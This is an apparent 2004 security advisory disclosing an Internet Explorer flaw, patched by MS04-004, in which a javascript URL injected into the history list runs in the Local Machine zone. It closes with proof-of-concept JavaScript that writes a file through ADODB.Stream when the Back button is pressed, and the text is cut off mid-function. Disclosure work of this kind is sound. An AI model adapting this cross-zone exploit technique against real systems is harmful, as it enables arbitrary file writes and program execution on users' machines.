- Sandblad advisory #12 - /--------------------------------------------------------------/ Title: Inject javascript url in history list (revisited) Date: 2004-02-03 Software: Internet Explorer Vendor: http://www.microsoft.com/ Status: Patched by MS04-004 Type: Cross site/zone scripting Impact: Reading arbitrary cookies/local files and executing remote programs _ _ o' \,=./ `o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) /--=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--/ TABLE OF CONTENTS: ================== Summary ...................................................... 1 Vendor status ................................................ 2 Details ...................................................... 3 Exploit ...................................................... 4 FAQ .......................................................... 5 Disclaimer ................................................... 6 Feedback ..................................................... 7 (1) SUMMARY: ============ The author has found a way to inject a javascript url in the history list causing a cross site/zone scripting attack when the user presses the backbutton. An attacker may use this to read arbitrary cookies/local files and execute programs leading to total system compromise if IE is run as administrator. Users can protect themselves by downloading the latest patch from Microsoft as described in: http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS04-004.asp (2) VENDOR STATUS: ================== 2003-09-03: Microsoft informed about the vulnerability. 2004-02-02: Microsoft released patched (MS04-004). (3) DETAILS: ============ The idea to inject javascript urls in the history list is not new. Almost two years ago I publiced the advisory "Sandblad #4 - Using the backbutton in IE is dangerous". The technique is quite straightforward and uses that a javascript url is operating in the same domain as it was applied over. Hence, it is possible to trigger a cross site/zone scripting attack when the user presses the backbutton. Liu Die Yu described a similiar way to inject javascript urls in history list (CAN-2003-1026) in late November 2003 and showed how it was possible to force the user to navigate back automaticly by using frames. Internet Explorer tries to remove javascript urls in the history list but seems to fail in some situations. One way is to link to a resource from a javascript url with: external.NavigateAndFind('res:','','') where 'res:' is redirected to the Local Machine zone. When navigating back the javascript url will be applied over the Local Machine zone. (4) EXPLOIT: ============ // Andreas Sandblad, 2004-02-03, patched by MS04-004 // Name: payload // Purpose: Run payload code called from Local Machine zone. // The code may be arbitrary such as executing shell commands. // This demo simply creates a harmless textfile on the desktop. function payload() { file = "sandblad.txt"; o = new ActiveXObject("ADODB.Stream"); o.Open(); o.Type=2; o.Charset="ascii"; o.WriteText("You are vulnerable!"); o.SaveToFile(file, 2); o.Close(); alert("File "+file+" created on desktop!"); } // Name: trigger // Purpose: Inject javascript url in history list and run payload // function when the user hits the backbutton. function trigger(len) { if (history.length != len) payload(); else return "